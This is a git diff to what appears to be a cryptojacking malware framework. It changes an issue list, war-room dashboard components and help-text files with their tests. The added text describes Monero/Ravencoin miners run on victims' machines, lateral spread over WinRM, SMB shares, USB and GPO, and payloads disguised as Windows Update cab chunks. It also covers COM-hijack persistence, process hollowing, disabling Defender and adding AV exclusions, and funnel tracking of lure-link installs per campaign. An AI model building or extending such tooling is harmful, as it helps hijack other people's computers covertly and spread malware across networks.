diff --git a/PROBLEMS.md b/PROBLEMS.md index 851d30a..7534272 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,15 +1,27 @@ -# PROBLEMS.md +# PROBLEMS.md Open issues only. Fixed items removed. Last sweep: 2026-06-07. +## By design / safety + +| Issue | Notes | +|-------|-------| +| **`bof_execute` disabled** | Agent returns explicit error; in-memory BOF execution disabled (`client.go`). | +| **Process hollowing AMSI/ETW** | Relocation done; Defender/ETW ~50% failure; bypass not implemented (`hollow_windows.go`). | +| **Cloudflared in-process (non-Windows server)** | Stub on Linux/macOS; use external connector (`AF_TUNNEL_EXTERNAL`) or add launcher. | +| **macOS camera / GPU miner** | Stubs or partial; Linux has V4L2 + nvidia-smi path. | +| **KEV heuristics** | Non-Windows agents return `Status: n/a` (Windows-only CVE matching). | +| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). | +| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. | + ## Scale limits (hundreds of subnets / 500+ agents) | Area | Notes | |------|-------| -| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column ΓÇö hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | +| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | | **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. | | **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. | -| **Hashrate samples** | One `INSERT` per agent stats tick ΓÇö dominant DB write at scale; retention/prune policy not automated. | +| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. | | **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. | ## Antivirus / Windows Defender @@ -19,16 +31,16 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. | | **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. | | **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. | -| **Operator tooling** | Calibrate ΓåÆ **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible ΓåÆ **Mining Diagnostics** command returns JSON blockers. | +| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. | | **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. | ## Container Mining | Topic | Notes | |-------|-------| -| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container ΓåÆ in-process ΓåÆ GPU (parallel) ΓåÆ Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. | +| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. | | **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. | -| **AV limits (honest)** | Containers are **not** invisible ΓÇö AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. | +| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. | | **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. | | **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. | | **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. | @@ -82,11 +94,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Item | Notes | |------|-------| -| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0ΓÇôL4 ΓÇö Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` | -| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation ΓÇö Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` | -| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discoverΓåÆspread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discoverΓåÆspread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** ΓÇö see `tests/README.md` ┬º P2 | -| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** ΓÇö server `internal/erasure/` ReedΓÇôSolomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | -| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discoverΓåÆspread without Playwright stub | +| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` | +| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation — Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` | +| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discover→spread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discover→spread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** — see `tests/README.md` § P2 | +| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** — server `internal/erasure/` Reed–Solomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | +| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub | | Agent pathtracer Go tests | Stub + Windows command routing expanded; full `wg_setup` on real hosts still manual. | | Client WS/beacon paths | httptest round-trips covered; live TLS/mesh beacon still manual. | | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. | @@ -95,12 +107,20 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | +## Product decisions (document-only) + +| Topic | Notes | +|-------|-------| +| Dual storage sync | Session vs localStorage; `aetherforge-auth` on logout; no full cross-tab policy. | +| MatrixRain / CursorFire | Layout mounts effects on all routes; route-gating deferred. | +| CI scope | `.github/workflows/ci-docker-mining.yml` only; no root Makefile test target. | + ## Scrubbed 2026-06-07 (prod garbage removed) | Item | Action | |------|--------| -| `agent/config/builtin.go` XMR/RVN wallets | Cleared ΓÇö dev builtin no longer ships third-party addresses | -| `server/config.go` builtin Cloudflare token | Removed ΓÇö connector requires env/config/`cloudflared-token.txt` | +| `agent/config/builtin.go` XMR/RVN wallets | Cleared — dev builtin no longer ships third-party addresses | +| `server/config.go` builtin Cloudflare token | Removed — connector requires env/config/`cloudflared-token.txt` | | `data-e2e/`, `music/`, `scratch/` in repo | Untracked + `.gitignore` (E2E wallet stays in `docker/` + `e2e-validate.ps1` only) | | Mission Deck forge bar | Replaced client-side stage timer with server `GET /builder/progress/{token}` poll | diff --git a/server/web/src/components/Forge/ForgeFieldHints.tsx b/server/web/src/components/Forge/ForgeFieldHints.tsx index 8866693..85e7255 100644 --- a/server/web/src/components/Forge/ForgeFieldHints.tsx +++ b/server/web/src/components/Forge/ForgeFieldHints.tsx @@ -1,5 +1,6 @@ import type { ForgeFieldMeta } from '../../help/forgeRules'; import { forgeBadgeLabel } from '../../help/forgeRules'; +import { HelpTip } from '../HelpTip'; interface ForgeLockedHintProps { meta?: ForgeFieldMeta; @@ -31,13 +32,17 @@ interface ForgeSectionHeaderProps { title: string; description: string; badge: 'baked' | 'server-only'; + helpField?: string; } -export function ForgeSectionHeader({ title, description, badge }: ForgeSectionHeaderProps) { +export function ForgeSectionHeader({ title, description, badge, helpField }: ForgeSectionHeaderProps) { return (
-

{title}

+

+ {title} + {helpField ? <> : null} +

{forgeBadgeLabel(badge)}

{description}

diff --git a/server/web/src/components/WarRoom/CampaignConstellations.tsx b/server/web/src/components/WarRoom/CampaignConstellations.tsx index 213e0e9..9308103 100644 --- a/server/web/src/components/WarRoom/CampaignConstellations.tsx +++ b/server/web/src/components/WarRoom/CampaignConstellations.tsx @@ -6,6 +6,7 @@ import { tickForceLayout, type ConstellationNode, } from '../../help/campaignConstellations'; +import { HelpTip } from '../HelpTip'; interface CampaignConstellationsProps { campaigns: WarRoomCampaign[]; @@ -169,7 +170,8 @@ export default function CampaignConstellations({ campaigns, onSelectCampaign }:

Node size = hits · brightness = online · color = conversion · edges = shared pin/build. - Click a star to jump to its funnel card. + Click a star to jump to its funnel card.{' '} +

); diff --git a/server/web/src/components/WarRoom/WarRoomFunnelBoard.tsx b/server/web/src/components/WarRoom/WarRoomFunnelBoard.tsx index 6c272f9..e789ea8 100644 --- a/server/web/src/components/WarRoom/WarRoomFunnelBoard.tsx +++ b/server/web/src/components/WarRoom/WarRoomFunnelBoard.tsx @@ -11,6 +11,7 @@ import { } from '../../help/warRoom'; import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry'; import JoinLaneBadge from '../Fleet/JoinLaneBadge'; +import { HelpTip } from '../HelpTip'; import WarRoomOdometer from './WarRoomOdometer'; interface WarRoomFunnelBoardProps { @@ -44,6 +45,9 @@ export default function WarRoomFunnelBoard({ className={`war-room-funnel-board${alive ? ' war-room-funnel-board--alive' : ''}`} role="list" > +

+ Funnel board +

{campaigns.map((c, cardIndex) => { const stages = funnelStages(c); const leaks = detectFunnelLeaks(c); @@ -201,11 +205,13 @@ export default function WarRoomFunnelBoard({

{primaryLeak.message}

{primaryLeak.action}

+ ) : (
FLOW

Funnel flowing — no major leaks detected.

+
)} diff --git a/server/web/src/help/docAnchors.test.ts b/server/web/src/help/docAnchors.test.ts index a30d0d1..e012e82 100644 --- a/server/web/src/help/docAnchors.test.ts +++ b/server/web/src/help/docAnchors.test.ts @@ -23,11 +23,21 @@ const HELP_TIP_FIELDS = [ 'adaptive_strategy', 'lotl_onion_tiers', 'forge_operation_mode', 'forge_path_forge', 'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread', - 'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread', + 'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread', 'wsus_format_mimic', 'com_hijack_persist', 'linux_lotl_mode', + 'forge_simple_mode', 'forge_deliverable', 'https_beacon_after_min', 'apk_mode', 'set_alerts', 'set_alert_notifications', 'set_webhook', ] as const; +/** UI HelpTip fields for Mission Deck, Emberwake War Room, and dashboard widgets. */ +const UI_HELP_TIP_FIELDS = [ + 'md_overview', 'md_operation_chip', 'md_spread_profile', 'md_campaign_identity', + 'md_strike_pipeline', 'md_equip_strike', 'md_loadout_preview', 'md_campaign_slug', 'md_preflight', + 'ew_war_room', 'ew_war_room_funnel', 'ew_war_room_views', + 'ew_war_room_funnel_board', 'ew_war_room_stats_table', 'ew_war_room_constellations', 'ew_war_room_leak', + 'dash_install_funnel', +] as const; + describe('docAnchors', () => { it('maps at least 60 forge/calibrate/crucible hints', () => { expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60); @@ -66,6 +76,21 @@ describe('docAnchors', () => { } }); + it('Mission Deck and War Room UI HelpTips have help text and anchors', () => { + for (const field of UI_HELP_TIP_FIELDS) { + expect(UI_HELP[field], `missing UI_HELP for ${field}`).toBeDefined(); + expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch( + /^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html(#[\w-]+)?)$/, + ); + } + }); + + it('covers wsus_format_mimic and https_beacon_after_min forge anchors', () => { + expect(DOC_ANCHORS.wsus_format_mimic).toBe('/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer'); + expect(DOC_ANCHORS.https_beacon_after_min).toBe('/docs/#agent'); + expect(FIELD_HELP.wsus_format_mimic).toContain('cab.partial'); + }); + it('covers newly added forge scheduling and fusion anchors', () => { expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth'); expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge'); diff --git a/server/web/src/help/docAnchors.ts b/server/web/src/help/docAnchors.ts index ea29214..0855897 100644 --- a/server/web/src/help/docAnchors.ts +++ b/server/web/src/help/docAnchors.ts @@ -3,6 +3,9 @@ export const DOC_ANCHORS: Record = { // Calibrate calibrate_wallet: '/docs/#calibrate', calibrate_quick_setup: '/docs/#quick-start', + calibrate_defender_exclusions: '/docs/#calibrate', + av_limits: '/docs/#calibrate', + defender_off: '/docs/#crucible-ops', public_url: '/docs/#calibrate', cloudflare_tunnel_token: '/docs/#calibrate', open_firewall_on_start: '/docs/#security-auth', @@ -74,6 +77,8 @@ export const DOC_ANCHORS: Record = { dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt', webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh', wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer', + wsus_format_mimic: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer', + https_beacon_after_min: '/docs/#agent', com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan', linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan', remote_aggressive: '/docs/#crucible-ops', @@ -115,6 +120,9 @@ export const DOC_ANCHORS: Record = { md_campaign_identity: '/docs/#mission-deck', md_strike_pipeline: '/docs/#mission-deck', md_equip_strike: '/docs/#mission-deck', + md_loadout_preview: '/docs/#mission-deck', + md_campaign_slug: '/docs/#mission-deck', + md_preflight: '/docs/#mission-deck', // Calibrate server websocket_ping_seconds: '/docs/#calibrate', @@ -139,8 +147,23 @@ export const DOC_ANCHORS: Record = { fleet_runtime_policy: '/docs/#calibrate', // Emberwake war room + ew_overview: '/docs/#spread-campaigns', + ew_campaign_setup: '/docs/#spread-campaigns', + ew_campaign_slug: '/docs/#spread-campaigns', + ew_install_links: '/docs/#build-manager', + ew_spread_kit: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + ew_war_room: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + ew_supply_chain: '/docs/#spread-campaigns', + ew_public_urls: '/docs/#build-manager', + ew_techniques: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + ew_shared_notes: '/docs/#spread-campaigns', ew_war_room_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', ew_war_room_views: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + ew_war_room_funnel_board: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + ew_war_room_stats_table: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + ew_war_room_constellations: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + ew_war_room_leak: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', + spread_funnel_widget: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', }; export function docAnchorForField(field: string): string | undefined { diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index 0bbb7bd..f46a191 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -32,6 +32,9 @@ describe('FIELD_HELP', () => { const expectedKeys = [ 'calibrate_wallet', 'calibrate_quick_setup', + 'calibrate_defender_exclusions', + 'av_limits', + 'defender_off', 'forge_simple_mode', 'forge_lotl_onion', 'lotl_onion_tiers', @@ -130,6 +133,7 @@ describe('FIELD_HELP', () => { 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread', + 'wsus_format_mimic', 'com_hijack_persist', 'linux_lotl_mode', 'hole_punch', @@ -176,6 +180,8 @@ describe('FIELD_HELP', () => { expect(FIELD_HELP.usb_spread).toContain('USB'); expect(FIELD_HELP.share_spread).toContain('share'); expect(FIELD_HELP.winrm_spread).toContain('WinRM'); + expect(FIELD_HELP.wsus_cache_peer_spread).toContain('WSUS'); + expect(FIELD_HELP.wsus_format_mimic).toContain('cab.partial'); expect(FIELD_HELP.com_hijack_persist).toContain('CLSID'); expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run'); }); @@ -186,4 +192,18 @@ describe('FIELD_HELP', () => { expect(FIELD_HELP.erasure_lanes).toMatch(/dns_txt|bits_curl|do_peer|wsus_cache_peer/); expect(FIELD_HELP.erasure_lanes).toMatch(/Foundation only/i); }); + + it('documents honest AV limits — no invisible mining', () => { + expect(FIELD_HELP.av_limits).toMatch(/100% invisible|not 100% invisible/i); + expect(FIELD_HELP.av_limits).toMatch(/in-process RandomX/i); + expect(FIELD_HELP.calibrate_defender_exclusions).toMatch(/Tamper Protection/i); + expect(FIELD_HELP.calibrate_defender_exclusions).toMatch(/manually|manual/i); + expect(FIELD_HELP.defender_off).toMatch(/real-time monitoring only/i); + expect(FIELD_HELP.defender_off).toMatch(/Tamper Protection/i); + expect(FIELD_HELP.miner_execution).toMatch(/likely_blockers/i); + expect(FIELD_HELP.miner_execution).toMatch(/Mining Diagnostics/i); + expect(FIELD_HELP.forge_operation_mode).toMatch(/AV-Safe.*inprocess/i); + expect(FIELD_HELP.remote_aggressive).toMatch(/defender_off/i); + expect(FIELD_HELP.remote_aggressive).toMatch(/exclusions/i); + }); }); diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index ec435de..c1348eb 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -22,10 +22,16 @@ export const FIELD_HELP: Record = { 'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 or 8 and be 90–106 characters.', calibrate_quick_setup: 'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.', + calibrate_defender_exclusions: + 'Generates an elevated PowerShell script (.ps1) you run manually on each Windows worker — path + process allowlists only. The agent does not silently bypass AV. Tamper Protection, Controlled folder access, cloud-delivered protection, SmartScreen, and behavioral blocks can still interfere even after exclusions. Disable Tamper Protection temporarily if Add-MpPreference is rejected.', + av_limits: + 'No mining architecture is 100% invisible to AV. Best practical combo: in-process RandomX (no external CPU miner .exe) + Calibrate Defender exclusions + dedicated mining hardware for GPU subprocess paths. Garble, hollow, spread, and T-Rex/TRM downloads remain high-friction.', + defender_off: + 'Crucible remote action: disables Windows Defender real-time monitoring only (Set-MpPreference). Requires admin and Remote Aggressive Ops. Tamper Protection reverts changes; cloud/behavioral/Controlled folder access/SmartScreen keep running. Not a substitute for path exclusions — use Calibrate → Windows Defender Exclusions.', forge_simple_mode: 'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.', forge_operation_mode: - 'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.', + 'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only — no GPU exe, no hollow/spread, idle caps), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Default forge execution is auto (full cascade); AV-Safe still bakes inprocess only. Switches sensible defaults — individual fields below can still be fine-tuned.', forge_lotl_onion: 'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.', adaptive_strategy: @@ -103,7 +109,7 @@ export const FIELD_HELP: Record = { cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.', mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.', miner_execution: - 'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.', + 'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe (lowest AV friction). Container isolates CPU mining but AV still sees docker.exe and image pulls. Subprocess is GPU-only and often quarantined. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Crucible → Mining Diagnostics returns JSON likely_blockers; use Calibrate → Defender Exclusions on Windows fleets.', idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.', idle_duration_minutes: 'How long the machine must be idle before mining begins.', schedule_start: 'For Scheduled mode: daily start time (24h).', @@ -169,10 +175,13 @@ export const FIELD_HELP: Record = { 'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.', wsus_cache_peer_spread: 'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.', + wsus_format_mimic: + 'WSUS Format Mimic: staged shard files use *.cab.partial filenames with SSU/CAB-like headers so payloads resemble Windows Update cache chunks. Requires WSUS Cache Peer spread enabled. Windows-only; default ON for Windows forges.', com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.', linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.', hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).', - remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.', + remote_aggressive: + 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender_off (RTP disable only, admin required). Requires explicit button press; nothing runs automatically except what other toggles define. AV is not fully disabled — exclusions remain the reliable path.', target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.', apk_mode: 'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.', diff --git a/server/web/src/help/uiHelp.test.ts b/server/web/src/help/uiHelp.test.ts index 82356ba..2793f00 100644 --- a/server/web/src/help/uiHelp.test.ts +++ b/server/web/src/help/uiHelp.test.ts @@ -73,6 +73,9 @@ describe('UI_HELP', () => { 'md_campaign_identity', 'md_strike_pipeline', 'md_equip_strike', + 'md_loadout_preview', + 'md_campaign_slug', + 'md_preflight', 'ew_overview', 'ew_campaign_setup', 'ew_campaign_slug', @@ -85,6 +88,10 @@ describe('UI_HELP', () => { 'ew_shared_notes', 'ew_war_room_funnel', 'ew_war_room_views', + 'ew_war_room_funnel_board', + 'ew_war_room_stats_table', + 'ew_war_room_constellations', + 'ew_war_room_leak', 'crucible_btn_spread_now', 'crucible_btn_subnet_scan', 'crucible_btn_hole_punch', @@ -95,6 +102,7 @@ describe('UI_HELP', () => { 'set_alerts', 'set_alert_notifications', 'set_webhook', + 'ui_color_scheme', 'crucible_section_spread_templates', ] as const; diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts index 2550a39..edd115d 100644 --- a/server/web/src/help/uiHelp.ts +++ b/server/web/src/help/uiHelp.ts @@ -149,6 +149,12 @@ export const UI_HELP: Record = { 'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.', md_equip_strike: 'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.', + md_loadout_preview: + 'Live summary of your equipped preset: operation chip, spread profile, campaign slug, worker name, and deliverable shape. Preflight runs before Equip & Strike — fix wallet or endpoint errors shown below the button.', + md_campaign_slug: + 'Short tag appended as ?c= on install links. Emberwake War Room groups hits, downloads, beacons, and hashrate by this slug — set it before forging so telemetry lands in the right campaign.', + md_preflight: + 'Wallet, control URL, and worker name must pass validation before Equip & Strike unlocks. Spread Kit export is skipped automatically when your loadout ships a single-platform or fusion deliverable instead.', ew_overview: 'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).', @@ -174,6 +180,14 @@ export const UI_HELP: Record = { 'Shows hits → downloads → first beacon → mining counts per ?c= slug for the selected window. Each column is a funnel stage; a large drop at any step points to where the install chain is breaking.', ew_war_room_views: 'Switch between Funnel board (per-stage campaign breakdown), Stats table (full numbers with sparklines), and Constellations (visual map of campaign activity). All three draw from the same rolling window.', + ew_war_room_funnel_board: + 'Per-campaign funnel cards: hits → downloads → first beacon → mining → hashrate with stage conversion rates and 7-day hit sparklines. Compare to Command Deck Install Funnel (build-centric) — War Room is campaign-slug centric via ?c=.', + ew_war_room_stats_table: + 'Tabular War Room view with odometer counts, conversion %, online agents, and daily hit sparklines per campaign slug. Same data as the funnel board — use when you need sortable numbers across many campaigns.', + ew_war_room_constellations: + 'Force-directed map: node size = hits, brightness = online agents, color = conversion %, edges = shared pin/build. Click a star to highlight its funnel card below.', + ew_war_room_leak: + 'Automated funnel leak hints when a stage drops sharply (e.g. downloads but no beacons). LEAK = critical drop; Drip = minor — follow the suggested action on each card.', crucible_btn_spread_now: 'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive 